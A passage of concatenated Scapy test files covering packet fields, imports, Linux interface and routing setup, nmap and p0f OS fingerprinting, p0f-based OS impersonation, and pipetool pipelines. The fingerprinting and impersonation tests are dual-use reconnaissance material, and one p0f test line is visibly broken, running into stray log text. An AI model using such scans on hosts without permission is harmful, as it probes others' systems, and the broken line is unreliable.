b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xfe\xed\xbe\xef' assert raw(pkt) == b'\x0c\x0f\x00\x07\x00\x00\x00\x00\x00\x00{\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\x08\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01\xfe\xed\xbe\xef' pkt = TestPacket2(raw(pkt)) assert pkt.fcs1 == 0xbeef assert pkt.fcs2 == 0xfeed assert pkt.bottom == 123 assert pkt.a == 12 ############ ############ + PacketField = PacketField: randval() class DebugPacket(Packet): fields_desc = [ ShortField('short', 0), ByteField('byte', 0), LongField('long', 0) ] p = PacketField('packet', b'', DebugPacket).randval() assert isinstance(p.short, RandShort) assert isinstance(p.byte, RandByte) assert isinstance(p.long, RandLong) = PacketField: randval(), PacketField in PacketField class DebugPacket(Packet): fields_desc = [ ShortField('short1', 0), ByteField('byte', 0), LongField('long', 0) ] class DummyPacket(Packet): fields_desc = [ PacketField('packet', b'', DebugPacket), ShortField('short2', 0) ] p = PacketField('packet', b'', DummyPacket).randval() assert isinstance(p.packet.short1, RandShort) assert isinstance(p.packet.byte, RandByte) assert isinstance(p.packet.long, RandLong) assert isinstance(p.short2, RandShort) = Test parent reference in guess_payload_class class TestGuessInner(Packet): name="test guess inner" fields_desc=[ ByteField("foo", 0) ] def guess_payload_class(self, payload): self.parentflag = True if self.parent is None: # all exceptions are caught, so have to use flag self.parentflag = False return super(TestGuessInner, self).guess_payload_class(payload) class TestGuess(Packet): name="test guess" fields_desc=[ PacketField("pf", None, TestGuessInner) ] x=TestGuess(pf=TestGuessInner()/Raw(b'123')) p=TestGuess(raw(x)) assert p[TestGuessInner].parentflag assert p[TestGuessInner].parent == p ############ ############ + XStr(*)Field tests = i2repr ~ field xstrfield from collections import namedtuple MockPacket = namedtuple('MockPacket', ['type']) mp = MockPacket(0) f = XStrField('test', None) x = f.i2repr(mp, RandBin()) assert x == '' ############ ############ + Raw() tests = unaligned data p = Raw(b"abc") p offsetdata = bytes.fromhex("0" + p.load.hex() + "0") p = Raw((offsetdata, 4)) p ############ ############ + PacketListField() tests = unaligned data class PInner(Packet): name = "PInner" fields_desc = [ BitField("x", 0, 8), ] def extract_padding(self, s): return '', s class POuter(Packet): name = "POuter" fields_desc = [ BitField("indent", 0, 4), BitFieldLenField("pcount", None, 8, count_of="plist"), PacketListField("plist", None, PInner, count_from=lambda pkt: pkt.pcount), ] p = POuter(b"\xf0\x44\x14\x24\x34\x40") p assert p.indent == 0xf assert p.pcount == 4 assert [p.x for p in p.plist] == [0x41, 0x42, 0x43, 0x44] ================================================ FILE: test/imports.uts ================================================ % Import tests ~ not_pypy + Import tests ~ imports = Prepare importing all scapy files import os import glob import subprocess import re import time import sys from scapy.consts import WINDOWS, OPENBSD # DEV: to add your file to this list, make sure you have # a GREAT reason. EXCEPTIONS = [ "scapy.__main__", "scapy.all", "scapy.contrib.automotive*", "scapy.contrib.cansocket*", "scapy.contrib.isotp*", "scapy.contrib.scada*", "scapy.layers.all", "scapy.main", ] if WINDOWS: EXCEPTIONS.append("scapy.layers.tuntap") EXCEPTION_PACKAGES = [ "arch", "libs", "modules", "tools", ] ALL_FILES = [ "scapy." + re.match(".*scapy\\" + os.path.sep + "(.*)\\.py$", x).group(1).replace(os.path.sep, ".") for x in glob.iglob(scapy_path('/scapy/**/*.py'), recursive=True) ] ALL_FILES = [ x for x in ALL_FILES if not any(x == y if y[-1] != "*" else x.startswith(y[:-1]) for y in EXCEPTIONS) and x.split(".")[1] not in EXCEPTION_PACKAGES ] NB_PROC = 1 if WINDOWS or OPENBSD else 4 def append_processes(processes, filename): processes.append( (subprocess.Popen( [sys.executable, "-c", "import %s" % filename], stderr=subprocess.PIPE, encoding="utf8"), time.time(), filename)) def check_processes(processes): for i, tup in enumerate(processes): proc, start_ts, file = tup errs = "" try: _, errs = proc.communicate(timeout=0.5) except subprocess.TimeoutExpired: if time.time() - start_ts > 30: proc.kill() errs = "Timed out (>30s)!" if proc.returncode is None: continue else: print("Finished %s with %d after %f sec" % (file, proc.returncode, time.time() - start_ts)) if proc.returncode != 0: for p in processes: p[0].kill() raise Exception( "Importing the file '%s' failed !\\n%s" % (file, errs)) del processes[i] return def import_all(FILES): processes = list() while len(processes) == NB_PROC: check_processes(processes) for filename in FILES: check_processes(processes) if len(processes) < NB_PROC: append_processes(processes, filename) = Try importing all core separately import_all(x for x in ALL_FILES if "layers" not in x and "contrib" not in x) = Try importing all layers separately import_all(x for x in ALL_FILES if "layers" in x) = Try importing all contribs separately import_all(x for x in ALL_FILES if "contrib" in x) ================================================ FILE: test/linux.uts ================================================ % Regression tests for Linux only # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Linux only test = L3RawSocket ~ netaccess IP TCP linux needs_root with no_debug_dissector(): x = sr1(IP(dst="www.google.com")/TCP(sport=RandShort(), dport=80, flags="S"),timeout=3) x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 # TODO: fix this test (randomly stuck) # ex: https://travis-ci.org/secdev/scapy/jobs/247473497 #= Supersocket _flush_fd #~ needs_root linux # #import select # #from scapy.arch.linux import _flush_fd #socket = conf.L2listen() #select.select([socket],[],[],2) #_flush_fd(socket.ins) = Interface aliases & sub-interfaces ~ linux needs_root import os exit_status = os.system("ip link add name scapy0 type dummy") exit_status = os.system("ip addr add 192.0.2.1/24 dev scapy0") exit_status = os.system("ip link set scapy0 up") exit_status = os.system("ifconfig scapy0:0 inet 198.51.100.1/24 up") if exit_status == 0: exit_status = os.system("ip addr show scapy0") print(get_if_list()) conf.route.resync() print(conf.route.routes) assert conf.route.route("198.51.100.254") == ("scapy0", "198.51.100.1", "0.0.0.0") route_alias = (3325256704, 4294967040, "0.0.0.0", "scapy0", "198.51.100.1", 0) assert route_alias in conf.route.routes exit_status = os.system("ip link add link scapy0 name scapy0.42 type vlan id 42") exit_status = os.system("ip addr add 203.0.113.42/24 dev scapy0.42") exit_status = os.system("ip link set scapy0.42 up") exit_status = os.system("ip route add 192.0.2.43/32 via 203.0.113.41") print(get_if_list()) conf.route.resync() print(conf.route.routes) assert conf.route.route("192.0.2.43") == ("scapy0.42", "203.0.113.42", "203.0.113.41") route_specific = (3221226027, 4294967295, "203.0.113.41", "scapy0.42", "0.0.0.0", 0) assert route_specific in conf.route.routes assert conf.route.route("203.0.113.42") == ('scapy0.42', '203.0.113.42', '0.0.0.0') assert conf.route.route("203.0.113.43") == ('scapy0.42', '203.0.113.42', '0.0.0.0') exit_status = os.system("ip link del name dev scapy0") else: assert True = Test scoped interface addresses ~ linux needs_root import os exit_status = os.system("ip link add name scapy0 type dummy") exit_status = os.system("ip link add name scapy1 type dummy") exit_status |= os.system("ip addr add 192.0.2.1/24 dev scapy0") exit_status |= os.system("ip addr add 192.0.3.1/24 dev scapy1") exit_status |= os.system("ip link set scapy0 address 00:01:02:03:04:05 multicast on up") exit_status |= os.system("ip link set scapy1 address 06:07:08:09:10:11 multicast on up") assert exit_status == 0 conf.ifaces.reload() conf.route.resync() conf.route6.resync() conf.route6 try: # IPv4 a = Ether()/IP(dst="224.0.0.1%scapy0") assert a[Ether].src == "00:01:02:03:04:05" assert a[IP].src == "192.0.2.1" b = Ether()/IP(dst="224.0.0.1%scapy1") assert b[Ether].src == "06:07:08:09:10:11" assert b[IP].src == "192.0.3.1" c = Ether()/IP(dst="224.0.0.1/24%scapy1") assert c[Ether].src == "06:07:08:09:10:11" assert c[IP].src == "192.0.3.1" # IPv6 a = Ether()/IPv6(dst="ff02::fb%scapy0") assert a[Ether].src == "00:01:02:03:04:05" assert a[IPv6].src == "fe80::201:2ff:fe03:405" b = Ether()/IPv6(dst="ff02::fb%scapy1") assert b[Ether].src == "06:07:08:09:10:11" assert b[IPv6].src == "fe80::407:8ff:fe09:1011" c = Ether()/IPv6(dst="ff02::fb/30%scapy1") assert c[Ether].src == "06:07:08:09:10:11" assert c[IPv6].src == "fe80::407:8ff:fe09:1011" finally: exit_status = os.system("ip link del scapy0") exit_status = os.system("ip link del scapy1") conf.ifaces.reload() conf.route.resync() conf.route6.resync() = catch loopback device missing ~ linux needs_root from unittest.mock import patch # can't remove the lo device (or its address without causing trouble) - use some pseudo dummy instead with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo_x'): routes = read_routes() = catch loopback device no address assigned ~ linux needs_root import os, socket from unittest.mock import patch try: exit_status = os.system("ip link add name scapy_lo type dummy") assert exit_status == 0 exit_status = os.system("ip link set dev scapy_lo up") assert exit_status == 0 with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'): routes = read_routes() exit_status = os.system("ip addr add dev scapy_lo 10.10.0.1/24") assert exit_status == 0 with patch('scapy.arch.linux.conf.loopback_name', 'scapy_lo'): routes = read_routes() lo_routes = [ (ltoa(dst_int), ltoa(msk_int), gw_str, if_name, if_addr, metric) for dst_int, msk_int, gw_str, if_name, if_addr, metric in routes if if_name == "scapy_lo" ] lo_routes.sort(key=lambda x: x[0]) expected_routes = [ (168427520, 4294967040, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0), (168427521, 4294967295, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0), (168427775, 4294967295, '0.0.0.0', 'scapy_lo', '10.10.0.1', 0), ] print(lo_routes) print(expected_routes) finally: exit_status = os.system("ip link del dev scapy_lo") assert exit_status == 0 = IPv6 link-local address selection conf.ifaces._add_fake_iface("scapy0", 'e2:39:91:79:19:10') from unittest.mock import patch conf.route6.routes = [('fe80::', 64, '::', 'scapy0', ['fe80::e039:91ff:fe79:1910'], 256)] conf.route6.ipv6_ifaces = set(['scapy0']) bck_conf_iface = conf.iface conf.iface = "scapy0" p = Ether()/IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1") print(p.sprintf("%Ether.src% > %Ether.dst%\n%IPv6.src% > %IPv6.dst%")) ip6_ll_address = 'fe80::e039:91ff:fe79:1910' print(p[IPv6].src, ip6_ll_address) assert p[IPv6].src == ip6_ll_address mac_address = 'e2:39:91:79:19:10' print(p[Ether].src, mac_address) assert p[Ether].src == mac_address conf.iface = bck_conf_iface conf.route6.resync() = IPv6 - check OS routes ~ linux ipv6 addrs = in6_getifaddr() if addrs: assert all(in6_isvalid(addr[0]) for addr in in6_getifaddr()), 'invalid ipv6 address' ifaces6 = [addr[2] for addr in in6_getifaddr()] assert all(iface in ifaces6 for iface in conf.route6.ipv6_ifaces), 'ipv6 interface has route but no real' = veth interface error handling ~ linux needs_root veth from scapy.arch.linux import VEthPair try: veth = VEthPair('this_IF_name_is_to_long_and_will_cause_an_error', 'veth_scapy_1') veth.setup() assert False except subprocess.CalledProcessError: pass except Exception: assert False = veth interface usage - ctx manager ~ linux needs_root veth from threading import Condition cond_started = Condition() def _sniffer_started(): global cond_started cond_started.acquire() cond_started.notify() cond_started.release() cond_started.acquire() try: with VEthPair('veth_scapy_0', 'veth_scapy_1') as veth: if_list = get_if_list() assert ('veth_scapy_0' in if_list) assert ('veth_scapy_1' in if_list) frm_count = 0 def _sniffer(): sniffed = sniff(iface='veth_scapy_1', store=True, count=2, lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef, started_callback=_sniffer_started, timeout=3) global frm_count frm_count = 2 t_sniffer = Thread(target=_sniffer, name="linux.uts sniff veth_scapy_1") t_sniffer.start() cond_started.wait() sendp(Ether(type=0xbeef)/Raw(b'0123456789'), iface='veth_scapy_0', count=2) t_sniffer.join(1) assert frm_count == 2 if_list = get_if_list() assert ('veth_scapy_0' not in if_list) assert ('veth_scapy_1' not in if_list) except subprocess.CalledProcessError: assert False except Exception: assert False = veth interface usage - manual interface handling ~ linux needs_root veth from threading import Condition cond_started = Condition() def _sniffer_started(): global cond_started cond_started.acquire() cond_started.notify() cond_started.release() cond_started.acquire() veth = VEthPair('veth_scapy_0', 'veth_scapy_1') try: veth.setup() veth.up() except subprocess.CalledProcessError: assert False except Exception: assert False conf.ifaces.reload() if_list = get_if_list() assert ('veth_scapy_0' in if_list) assert ('veth_scapy_1' in if_list) frm_count = 0 def _sniffer(): sniffed = sniff(iface='veth_scapy_1', store=True, count=2, lfilter=lambda p: Ether in p and p[Ether].type == 0xbeef, started_callback=_sniffer_started, timeout=3) global frm_count frm_count = 2 t_sniffer = Thread(target=_sniffer, name="linux.uts sniff veth_scapy_1 2") t_sniffer.start() cond_started.wait() sendp(Ether(type=0xbeef)/Raw(b'0123456789'), iface='veth_scapy_0', count=2) t_sniffer.join(1) assert frm_count == 2 try: veth.down() veth.destroy() conf.ifaces.reload() if_list = get_if_list() assert ('veth_scapy_0' not in if_list) assert ('veth_scapy_1' not in if_list) except subprocess.CalledProcessError: assert False except Exception: assert False = Routing table, interface with no names ~ linux from unittest.mock import patch @patch("scapy.arch.linux.ioctl") def test_read_routes(mock_ioctl): def raise_ioerror(*args, **kwargs): if args[1] == 0x8912: return args[2] raise IOError mock_ioctl.side_effect = raise_ioerror read_routes() test_read_routes() = L3PacketSocket sendto exception ~ linux needs_root from scapy.arch.linux import L3PacketSocket import socket from unittest import mock @mock.patch("scapy.arch.linux.socket.socket.sendto") def test_L3PacketSocket_sendto_python3(mock_sendto): mock_sendto.side_effect = OSError(22, 2807) l3ps = L3PacketSocket() l3ps.send(IP(dst="8.8.8.8")/ICMP()) return True assert test_L3PacketSocket_sendto_python3() = Test _interface_selection ~ netaccess linux needs_root import os from scapy.sendrecv import _interface_selection assert _interface_selection(IP(dst="8.8.8.8")/UDP()) == (conf.iface, False) exit_status = os.system("ip link add name scapy0 type dummy") exit_status = os.system("ip addr add 192.0.2.1/24 dev scapy0") exit_status = os.system("ip addr add fc00::/24 dev scapy0") exit_status = os.system("ip link set scapy0 up") conf.ifaces.reload() conf.route.resync() conf.route6.resync() assert _interface_selection(IP(dst="192.0.2.42")/UDP()) == ("scapy0", False) assert _interface_selection(IPv6(dst="fc00::ae0d")/UDP()) == ("scapy0", True) exit_status = os.system("ip link del name dev scapy0") conf.ifaces.reload() conf.route.resync() conf.route6.resync() = Test 802.1Q sniffing ~ linux needs_root veth from scapy.arch.linux import VEthPair from threading import Thread, Condition def _send(): sendp(Ether()/IP(dst="198.51.100.2")/ICMP(), iface='vlanleft0', count=2) with VEthPair("left0", "right0") as veth: exit_status = os.system("ip link add link right0 name vlanright0 type vlan id 42") exit_status = os.system("ip link add link left0 name vlanleft0 type vlan id 42") exit_status = os.system("ip link set vlanright0 up") exit_status = os.system("ip link set vlanleft0 up") exit_status = os.system("ip addr add 198.51.100.1/24 dev vlanleft0") exit_status = os.system("ip addr add 198.51.100.2/24 dev vlanright0") sniffer = AsyncSniffer( iface="right0", lfilter=lambda p: Dot1Q in p, count=2, timeout=5, started_callback=_send, ) sniffer.start() sniffer.join(1) if sniffer.running: sniffer.stop() raise Scapy_Exception("Sniffer did not stop !") else: results = sniffer.results assert len(results) == 2 assert all(Dot1Q in x for x in results) = Reload interfaces & routes conf.ifaces.reload() conf.route.resync() conf.route6.resync() ================================================ FILE: test/nmap.uts ================================================ % Regression tests for Scapy Nmap module ~ nmap ############ ############ + Basic Nmap OS fingerprints tests = Module loading load_module('nmap') = Test functions d = nmap_udppacket_sig(IP()/UDP(), IP(raw(IP()/ICMP(type=3, code=2)/IPerror()/UDPerror()))) assert len(d) == 9 d = nmap_tcppacket_sig(IP()/TCP()) assert len(d) == 5 = Fetch database ~ netaccess try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen filename = 'nmap-os-fingerprints' + str(RandString(6)) def _test(): with open(filename, 'wb') as fd: fd.write(urlopen('https://raw.githubusercontent.com/nmap/nmap/9efe1892/nmap-os-fingerprints').read()) retry_test(_test) conf.nmap_base = filename = Database loading ~ netaccess print(conf.nmap_kdb.base, conf.nmap_kdb.filename, len(conf.nmap_kdb.get_base())) assert len(conf.nmap_kdb.get_base()) > 100 = fingerprint test: www.secdev.org ~ netaccess needs_root with no_debug_dissector(): score, fprint = nmap_fp('www.secdev.org') print(score, fprint) assert score > 0.5 assert fprint = fingerprint test: gateway ~ netaccess needs_root with no_debug_dissector(): score, fprint = nmap_fp(conf.route.route('0.0.0.0')[2]) print(score, fprint) assert score > 0.5 assert fprint = fingerprint test: to text ~ netaccess needs_root import re as re_ with no_debug_dissector(): a = nmap_sig("www.secdev.org", 80, 81) a for x in nmap_sig2txt(a).split("\n"): assert re_.match(r"\w{2,4}\(.*\)", x) = nmap_udppacket_sig test: www.google.com ~ netaccess needs_root with no_debug_dissector(): a = nmap_sig("www.google.com", ucport=80) assert len(a) > 3 assert len(a["PU"]) > 0 + Nmap errors triggering = Nmap base not available conf.nmap_kdb.filename = "invalid" conf.nmap_kdb.reload() assert conf.nmap_kdb.filename == None = Clear temp files try: os.remove(filename) except: pass ================================================ FILE: test/p0f.uts ================================================ % Tests for Scapy's p0f module. ~ p0f + Basic p0f module tests = Module loading load_module('p0f') = Fetch database ~ netaccess try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen for i in range(10): try: open("p0f.fp", 'wb').write(urlopen('https://raw.githubusercontent.com/p0f/p0f/e8b924ae7fa099a3a5fe7def0ce3e397fd9a7137/p0f.fp').read()) break except: raise conf.p0f_base = "p0f.fp" p0fdb.reload(conf.p0f_base) + Default tests = Test TCP p0f, SYN - Windows ~ netaccess pkt = IP(b'E\x00\x004Se@\x00\x80\x06\x93?\n\x00\x00\x14\n\x00\x00\x0c\xc3\x08\x01\xbb\xcf\xb4\xbb\\\x00\x00\x00\x00\x80\x02 \x00\xeb\x1b\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02') assert p0f(pkt) == (('s', 'win', 'Windows', '7 or 8'), 0, False) = Test TCP p0f, SYN - Linux ~ netaccess pkt = IP(b"E\x10\x00 40.77.226.249:https (S) (distance 0)\n' ############ ############ + Tests for p0f_impersonate # XXX: a lot of pieces of p0f_impersonate don't have tests yet. = Impersonate when window size must be multiple of some integer sig = ('%467', 64, 1, 60, 'M*,W*', '.', 'Phony Sys', '1.0') pkt = p0f_impersonate(IP()/TCP(), signature=sig) assert pkt.payload.window % 467 == 0 = Handle unusual flags ("F") quirk sig = ('1024', 64, 0, 60, 'W*', 'F', 'Phony Sys', '1.0') pkt = p0f_impersonate(IP()/TCP(), signature=sig) assert (pkt.payload.flags & 40) in (8, 32, 40) = Use valid option values from original packet sig = ('S4', 64, 1, 60, 'M*,W*,T', '.', 'Phony Sys', '1.0') opts = [('MSS', 1400), ('WScale', 3), ('Timestamp', (97256, 0))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options == opts = Use valid option values when multiples required sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0') opts = [('MSS', 37*15), ('WScale', 19*12)] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options == opts = Discard non-multiple option values when multiples required sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0') opts = [('MSS', 37*15 + 1), ('WScale', 19*12 + 1)] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options[0][1] % 37 == 0 assert pkt.payload.options[1][1] % 19 == 0 = Discard bad timestamp values sig = ('S4', 64, 1, 60, 'M*,T', '.', 'Phony Sys', '1.0') opts = [('Timestamp', (0, 1000))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) # since option is "T" and not "T0": assert pkt.payload.options[1][1][0] > 0 # since T quirk is not present: assert pkt.payload.options[1][1][1] == 0 = Discard 2nd timestamp of 0 if "T" quirk is present sig = ('S4', 64, 1, 60, 'M*,T', 'T', 'Phony Sys', '1.0') opts = [('Timestamp', (54321, 0))] pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig) assert pkt.payload.options[1][1][1] > 0 + Clear temp files = Remove fp files def _rem(f): try: os.remove(f) except: pass _rem("p0f.fp") _rem("p0fa.fp") _rem("p0fr.fp") _rem("p0fo.fp") ================================================ FILE: test/pipetool.uts ================================================ ######################## % Pipetool related tests ######################## + Basic tests = Test default test case s = PeriodicSource("hello", 1, name="src") d1 = Drain(name="d1") c = ConsoleSink(name="c") tf = TransformDrain(lambda x: "Got %s" % x) s > d1 > c d1 > tf try: t = TermSink(name="PipeToolsPeriodicTest", keepterm=False) tf > t except (IOError, OSError): pass p = PipeEngine(s) p.start() time.sleep(3) s.msg = [] p.stop() = Test add_pipe s = AutoSource() p = PipeEngine(s) p.add(Pipe()) assert len(p.active_pipes) == 2 x = p.spawn_Pipe() assert len(p.active_pipes) == 3 assert isinstance(x, Pipe) = Test exhausted source s = AutoSource() s._gen_data("hello") s.is_exhausted = True d1 = Drain(name="d1") c = ConsoleSink(name="c") s > d1 > c p = PipeEngine(s) p.start() p.wait_and_stop() = Test add_pipe on running instance p = PipeEngine() p.start() s = CLIFeeder() d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) s.send("hello") s.send("hi") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "hi" p.stop() = Test Operators s = AutoSource() p = PipeEngine(s) assert p == p a = AutoSource() b = AutoSource() a >> b assert len(a.high_sinks) == 1 assert len(a.high_sources) == 0 assert len(b.high_sinks) == 0 assert len(b.high_sources) == 1 a b a = Sink() b = AutoSource() a << b assert len(a.high_sinks) == 0 assert len(a.high_sources) == 1 assert len(b.high_sinks) == 1 assert len(b.high_sources) == 0 a b a = Sink() b = Sink() a % b assert len(a.sinks) == 1 assert len(a.sources) == 1 assert len(b.sinks) == 1 assert len(b.sources) == 1 a = Sink() b = Sink() a//b assert len(a.high_sinks) == 1 assert len(a.high_sources) == 1 assert len(b.high_sinks) == 1 assert len(b.high_sources) == 1 a = AutoSource() b = Sink() a^b assert len(b.trigger_sources) == 1 assert len(a.trigger_sinks) == 1 = Test doc s = AutoSource() p = PipeEngine(s) p.list_pipes() p.list_pipes_detailed() = Test RawConsoleSink with CLIFeeder p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True r, w = os.pipe() d1 = Drain(name="d1") c = RawConsoleSink(name="c") c._write_pipe = w s > d1 > c p.add(s) p.start() assert os.read(r, 20) == b"hello\n" p.wait_and_stop() = Test QueueSink with CLIFeeder p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) p.start() p.wait_and_stop() assert c.recv() == "hello" assert c.recv(block=False) is None = Test UpDrain test_val = None class TestSink(Sink): def high_push(self, msg): global test_val test_val = msg p = PipeEngine() s = CLIFeeder() s.send("hello") s.is_exhausted = True d1 = UpDrain(name="d1") c = TestSink(name="c") s > d1 d1 >> c p.add(s) p.start() p.wait_and_stop() assert test_val == "hello" = Test DownDrain test_val = None class TestSink(Sink): def push(self, msg): global test_val test_val = msg p = PipeEngine() s = CLIHighFeeder() s.send("hello") s.is_exhausted = True d1 = DownDrain(name="d1") c = TestSink(name="c") s >> d1 d1 > c p.add(s) p.start() p.wait_and_stop() assert test_val == "hello" = Test PeriodicSource exhaustion s = PeriodicSource("", 1) s.msg = [] p = PipeEngine(s) p.start() p.wait_and_stop() + Advanced ScapyPipes pipetools tests = Test SniffSource from unittest import mock fd = ObjectPipe("sniffsource") fd.write("test") @mock.patch("scapy.scapypipes.conf.L2listen") def _test(l2listen): l2listen.return_value=Bunch(close=lambda *args: None, fileno=lambda: fd.fileno(), recv=lambda *args: Raw("data")) p = PipeEngine() s = SniffSource() assert s.s is None d1 = Drain(name="d1") c = QueueSink(name="c") s > d1 > c p.add(s) p.start() x = c.q.get(2) assert bytes(x) == b"data" assert s.s is not None p.stop() try: _test() finally: fd.close() = Test SniffSource with socket fd = ObjectPipe("sniffsource_socket") fd.write("test") class FakeSocket(object): def __init__(self): self.times = 0 def recv(self, x=None): if self.times > 2: return self.times += 1 return Raw(b'hello') def fileno(self): return fd.fileno() try: p = PipeEngine() s = SniffSource(socket=FakeSocket()) assert s.s is not None d = Drain() c = QueueSink() p.add(s > d > c) p.start() msg = c.q.get(timeout=1) p.stop() assert raw(msg) == b'hello' finally: fd.close() = Test SniffSource with invalid args try: s = SniffSource(iface='eth0', socket='not a socket') except ValueError: pass else: # expected ValueError assert False = Test exhausted AutoSource and SniffSource from unittest import mock from scapy.error import Scapy_Exception def _fail(): raise Scapy_Exception() a = AutoSource() a._send = mock.MagicMock(side_effect=_fail) a.send("x") try: a.deliver() except: pass s = SniffSource() s.s = mock.MagicMock() s.s.recv = mock.MagicMock(side_effect=_fail) try: s.deliver() except: pass = Test WiresharkSink ~ wiresharksink q = ObjectPipe("wiresharksink") pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() from unittest import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink() sink.start() sink.push(pkt) q.recv() q.recv() assert raw(pkt) in q.recv() popen.assert_called_once_with( [conf.prog.wireshark, '-Slki', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) = Test WiresharkSink with linktype ~ wiresharksink linktype = scapy.data.DLT_EN3MB q = ObjectPipe("wiresharksink_linktype") pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() from unittest import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink(linktype=linktype) sink.start() sink.push(pkt) chb(linktype) in q.recv() q.recv() assert raw(pkt) in q.recv() = Test WiresharkSink with args ~ wiresharksink linktype = scapy.data.DLT_EN3MB q = ObjectPipe("wiresharksink_args") pkt = Ether(dst="aa:aa:aa:aa:aa:aa", src="bb:bb:bb:bb:bb:bb")/IP(dst="127.0.0.1", src="127.0.0.1")/ICMP() from unittest import mock with mock.patch("scapy.scapypipes.subprocess.Popen", return_value=Bunch(stdin=q)) as popen: sink = WiresharkSink(args=['-c', '1']) sink.start() sink.push(pkt) popen.assert_called_once_with( [conf.prog.wireshark, '-Slki', '-', '-c', '1'], stdin=subprocess.PIPE, stdout=None, stderr=None) = Test RdpcapSource and WrpcapSink dname = get_temp_dir() req = Ether(b'E\x00\x00\x1c\x00\x00\x00\x004\x01\x1d\x04\xd8:\xd0\x83\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') rpy = Ether(b'\x8c\xf8\x13C5P\xdcS`\xeb\x80H\x08\x00E\x00\x00\x1c\x00\x00\x00\x004\x01\x1d\x04\xd8:\xd0\x83\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') wrpcap(os.path.join(dname, "t.pcap"), [req, rpy]) p = PipeEngine() s = RdpcapSource(os.path.join(dname, "t.pcap")) d1 = Drain(name="d1") c = WrpcapSink(os.path.join(dname, "t2.pcap.gz"), name="c", gz=1) s > d1 > c p.add(s) p.start() p.wait_and_stop() results = rdpcap(os.path.join(dname, "t2.pcap.gz")) assert raw(results[0]) == raw(req) assert raw(results[1]) == raw(rpy) os.unlink(os.path.join(dname, "t.pcap")) os.unlink(os.path.join(dname, "t2.pcap.gz")) = Test InjectSink and Inject3Sink ~ needs_root from unittest import mock a = IP(dst="192.168.0.1")/ICMP() msgs = [] class FakeSocket(object): def __init__(self, *arg, **karg): pass def close(self): pass def send(self, msg): global msgs msgs.append(msg) @mock.patch("scapy.scapypipes.conf.L2socket", FakeSocket) @mock.patch("scapy.scapypipes.conf.L3socket", FakeSocket) def _inject_sink(i3): s = CLIFeeder() s.send(a) s.is_exhausted = True d1 = Drain(name="d1") c = Inject3Sink() if i3 else InjectSink() s > d1 > c p = PipeEngine(s) p.start() p.wait_and_stop() _inject_sink(False) # InjectSink _inject_sink(True) # Inject3Sink assert msgs == [a,a] = TriggerDrain and TriggeredValve with CLIFeeder s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredValve with CLIHighFeeder s = CLIHighFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s >> d1 d1 >> d2 d2 >> c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredQueueingValve with CLIFeeder s = CLIFeeder() d1 = TriggerDrain(lambda x:x=="trigger") d2 = TriggeredValve() c = QueueSink() s > d1 > d2 > c d1 ^ d2 p = PipeEngine(s) p.start() s.send("hello") s.send("trigger") s.send("hello2") s.send("trigger") s.send("hello3") assert c.q.get(timeout=5) == "hello" assert c.q.get(timeout=5) == "trigger" assert c.q.get(timeout=5) == "hello3" p.stop() = TriggerDrain and TriggeredSwitch with CLIFeeder on high channel s 